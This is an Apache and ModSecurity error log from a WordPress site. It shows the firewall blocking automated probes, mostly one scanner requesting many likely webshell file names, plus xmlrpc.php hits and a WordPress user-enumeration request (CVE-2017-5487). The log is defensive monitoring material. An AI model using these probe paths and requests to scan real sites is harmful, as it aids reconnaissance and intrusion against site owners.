[Wed Jan 07 20:19:16.400450 2026] [:error] [pid 58294:tid 58309] [client 20.192.27.55:13554] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws34.php"] [unique_id "aV5PRFfzA7c0ITpf3nEi3QAAAI0"]
[Wed Jan 07 20:19:17.110266 2026] [:error] [pid 30632:tid 30641] [client 20.192.27.55:11232] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "aV5PRed3_LCpBJzo02cE2wAAAAU"]
[Wed Jan 07 20:19:18.129924 2026] [:error] [pid 30632:tid 30643] [client 20.192.27.55:11253] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "aV5PRud3_LCpBJzo02cE3QAAAAc"]
[Wed Jan 07 20:19:19.098032 2026] [:error] [pid 30632:tid 30636] [client 20.192.27.55:11248] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "aV5PR-d3_LCpBJzo02cE3wAAAAA"]
[Wed Jan 07 20:19:20.280451 2026] [:error] [pid 30634:tid 30713] [client 20.192.27.55:11155] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "aV5PSICIPBibObtmZtsCAAAAANc"]
[Wed Jan 07 20:19:21.696713 2026] [:error] [pid 51128:tid 51141] [client 20.192.27.55:13474] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aV5PSUGjtE8U88mrwueg0QAAAYs"]
[Wed Jan 07 20:19:23.142441 2026] [:error] [pid 58294:tid 58318] [client 20.192.27.55:11178] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aV5PS1fzA7c0ITpf3nEi4QAAAJY"]
[Wed Jan 07 20:19:24.742033 2026] [:error] [pid 58330:tid 58340] [client 20.192.27.55:13462] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aV5PTA8kGngKGK7_wnf6zgAAAQg"]
[Wed Jan 07 20:19:26.646650 2026] [:error] [pid 30632:tid 30646] [client 20.192.27.55:11215] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aV5PTud3_LCpBJzo02cE4AAAAAo"]
[Wed Jan 07 20:19:27.647626 2026] [:error] [pid 51128:tid 51134] [client 20.192.27.55:11241] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssd.php"] [unique_id "aV5PT0GjtE8U88mrwueg1QAAAYQ"]
[Wed Jan 07 20:19:31.181367 2026] [:error] [pid 30720:tid 30735] [client 20.192.27.55:13516] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssd.php"] [unique_id "aV5PU4dgcpQjqzUi9WaGKQAAAU0"]
[Wed Jan 07 20:19:33.234731 2026] [:error] [pid 51128:tid 51149] [client 20.192.27.55:13510] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssd.php"] [unique_id "aV5PVUGjtE8U88mrwueg2QAAAZM"]
[Wed Jan 07 20:19:34.553975 2026] [:error] [pid 30633:tid 30673] [client 20.192.27.55:13523] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssd.php"] [unique_id "aV5PVvZiVWlF7303nMirMQAAAEo"]
[Wed Jan 07 20:19:36.255276 2026] [:error] [pid 30720:tid 30725] [client 20.192.27.55:11137] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aV5PWIdgcpQjqzUi9WaGLQAAAUM"]
[Wed Jan 07 20:19:36.902878 2026] [:error] [pid 30720:tid 30746] [client 20.192.27.55:13467] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aV5PWIdgcpQjqzUi9WaGLgAAAVg"]
[Wed Jan 07 20:19:37.650205 2026] [:error] [pid 51128:tid 51142] [client 20.192.27.55:13487] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aV5PWUGjtE8U88mrwueg2gAAAYw"]
[Wed Jan 07 20:19:38.036505 2026] [:error] [pid 30633:tid 30684] [client 20.192.27.55:11233] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aV5PWvZiVWlF7303nMirMwAAAFU"]
[Wed Jan 07 20:19:38.669121 2026] [:error] [pid 51128:tid 51151] [client 20.192.27.55:11209] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/boutj.php"] [unique_id "aV5PWkGjtE8U88mrwueg2wAAAZU"]
[Wed Jan 07 20:19:39.705185 2026] [:error] [pid 30632:tid 30643] [client 20.192.27.55:13555] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/boutj.php"] [unique_id "aV5PW-d3_LCpBJzo02cE5wAAAAc"]
[Wed Jan 07 20:19:41.008904 2026] [:error] [pid 30632:tid 30652] [client 20.192.27.55:11226] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/boutj.php"] [unique_id "aV5PXed3_LCpBJzo02cE6gAAABA"]
[Wed Jan 07 20:19:42.424332 2026] [:error] [pid 30633:tid 30687] [client 20.192.27.55:11179] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/boutj.php"] [unique_id "aV5PXvZiVWlF7303nMirNgAAAFg"]
[Wed Jan 07 20:19:42.825006 2026] [:error] [pid 30720:tid 30742] [client 20.192.27.55:13478] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/biyaqllb.php"] [unique_id "aV5PXodgcpQjqzUi9WaGLwAAAVQ"]
[Wed Jan 07 20:19:43.694510 2026] [:error] [pid 30632:tid 30660] [client 20.192.27.55:13492] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/biyaqllb.php"] [unique_id "aV5PX-d3_LCpBJzo02cE6wAAABg"]
[Wed Jan 07 20:19:44.496887 2026] [:error] [pid 30634:tid 30695] [client 20.192.27.55:13468] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/biyaqllb.php"] [unique_id "aV5PYICIPBibObtmZtsCBgAAAMU"]
[Wed Jan 07 20:19:45.515692 2026] [:error] [pid 30632:tid 30639] [client 20.192.27.55:13527] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/biyaqllb.php"] [unique_id "aV5PYed3_LCpBJzo02cE7gAAAAM"]
[Wed Jan 07 20:19:46.044850 2026] [:error] [pid 58330:tid 58336] [client 20.192.27.55:13552] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aV5PYg8kGngKGK7_wnf64AAAAQQ"]
[Wed Jan 07 20:19:47.233290 2026] [:error] [pid 51128:tid 51130] [client 20.192.27.55:11228] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aV5PY0GjtE8U88mrwueg3wAAAYA"]
[Wed Jan 07 20:19:48.054871 2026] [:error] [pid 58330:tid 58340] [client 20.192.27.55:13493] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aV5PZA8kGngKGK7_wnf64wAAAQg"]
[Wed Jan 07 20:19:48.366267 2026] [:error] [pid 58330:tid 58351] [client 20.192.27.55:11250] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aV5PZA8kGngKGK7_wnf65AAAARM"]
[Wed Jan 07 20:19:48.851070 2026] [:error] [pid 30634:tid 30694] [client 20.192.27.55:11260] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuwno.php"] [unique_id "aV5PZICIPBibObtmZtsCCAAAAMQ"]
[Wed Jan 07 20:19:49.918364 2026] [:error] [pid 30720:tid 30739] [client 20.192.27.55:13526] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuwno.php"] [unique_id "aV5PZYdgcpQjqzUi9WaGMgAAAVE"]
[Wed Jan 07 20:19:50.478942 2026] [:error] [pid 51128:tid 51138] [client 20.192.27.55:11146] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuwno.php"] [unique_id "aV5PZkGjtE8U88mrwueg4QAAAYg"]
[Wed Jan 07 20:19:51.136245 2026] [:error] [pid 58330:tid 58347] [client 20.192.27.55:13509] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuwno.php"] [unique_id "aV5PZw8kGngKGK7_wnf66AAAAQ8"]
[Wed Jan 07 20:19:51.664171 2026] [:error] [pid 30634:tid 30701] [client 20.192.27.55:11198] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws29.php"] [unique_id "aV5PZ4CIPBibObtmZtsCCQAAAMs"]
[Wed Jan 07 20:20:38.087105 2026] [:error] [pid 51128:tid 51145] [client 20.192.27.55:11118] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gv.php"] [unique_id "aV5PlkGjtE8U88mrwueg7gAAAY8"]
[Wed Jan 07 20:20:38.856685 2026] [:error] [pid 30633:tid 30671] [client 20.192.27.55:13466] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gv.php"] [unique_id "aV5PlvZiVWlF7303nMirSwAAAEg"]
[Wed Jan 07 20:20:39.370946 2026] [:error] [pid 30633:tid 30666] [client 20.192.27.55:11218] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gv.php"] [unique_id "aV5Pl_ZiVWlF7303nMirTAAAAEM"]
[Wed Jan 07 20:20:40.024170 2026] [:error] [pid 30633:tid 30670] [client 20.192.27.55:11249] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gv.php"] [unique_id "aV5PmPZiVWlF7303nMirTgAAAEc"]
[Wed Jan 07 20:20:40.472627 2026] [:error] [pid 30633:tid 30663] [client 20.192.27.55:11237] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an8.php"] [unique_id "aV5PmPZiVWlF7303nMirTwAAAEA"]
[Wed Jan 07 20:20:41.403307 2026] [:error] [pid 30632:tid 30641] [client 20.192.27.55:13518] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an8.php"] [unique_id "aV5Pmed3_LCpBJzo02cFDAAAAAU"]
[Wed Jan 07 20:20:43.060766 2026] [:error] [pid 30633:tid 30664] [client 20.192.27.55:11216] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an8.php"] [unique_id "aV5Pm_ZiVWlF7303nMirUAAAAEE"]
[Wed Jan 07 20:20:44.231783 2026] [:error] [pid 51128:tid 51136] [client 20.192.27.55:11157] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an8.php"] [unique_id "aV5PnEGjtE8U88mrwueg8QAAAYY"]
[Wed Jan 07 20:20:45.085280 2026] [:error] [pid 30634:tid 30708] [client 20.192.27.55:11245] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aV5PnYCIPBibObtmZtsCJAAAANI"]
[Wed Jan 07 20:20:46.084694 2026] [:error] [pid 51128:tid 51143] [client 20.192.27.55:11201] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aV5PnkGjtE8U88mrwueg8gAAAY0"]
[Wed Jan 07 20:20:46.694968 2026] [:error] [pid 58294:tid 58299] [client 20.192.27.55:13446] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aV5PnlfzA7c0ITpf3nEjNQAAAIM"]
[Wed Jan 07 20:20:47.170623 2026] [:error] [pid 30720:tid 30728] [client 20.192.27.55:11205] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aV5Pn4dgcpQjqzUi9WaGPQAAAUY"]
[Wed Jan 07 20:20:47.805069 2026] [:error] [pid 30634:tid 30699] [client 20.192.27.55:13482] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xinha.php"] [unique_id "aV5Pn4CIPBibObtmZtsCJQAAAMk"]
[Wed Jan 07 20:20:48.325380 2026] [:error] [pid 30633:tid 30667] [client 20.192.27.55:11147] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xinha.php"] [unique_id "aV5PoPZiVWlF7303nMirUwAAAEQ"]
[Wed Jan 07 20:20:48.767899 2026] [:error] [pid 30634:tid 30704] [client 20.192.27.55:11211] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xinha.php"] [unique_id "aV5PoICIPBibObtmZtsCJgAAAM4"]
[Wed Jan 07 20:20:49.330490 2026] [:error] [pid 58294:tid 58310] [client 20.192.27.55:11224] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xinha.php"] [unique_id "aV5PoVfzA7c0ITpf3nEjNgAAAI4"]
[Wed Jan 07 21:40:41.752747 2026] [:error] [pid 58294:tid 58315] [client 49.235.136.28:46030] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV5iWVfzA7c0ITpf3nEwogAAAJM"]
[Wed Jan 07 21:44:32.918797 2026] [:error] [pid 58294:tid 58312] [client 43.130.34.74:34348] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV5jQFfzA7c0ITpf3nExWgAAAJA"]
[Thu Jan 08 01:17:17.442834 2026] [autoindex:error] [pid 30634:tid 30693] [client 138.197.32.240:64386] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Jan 08 02:46:37.126064 2026] [:error] [pid 50905:tid 50929] [client 34.73.69.55:60012] [client 34.73.69.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.69.55, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV6qDWpNgk5-gt30I7blMQAAAlY"]
[Thu Jan 08 02:46:39.869741 2026] [:error] [pid 50905:tid 50919] [client 34.73.69.55:60012] [client 34.73.69.55] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aV6qD2pNgk5-gt30I7blNAAAAkw"]
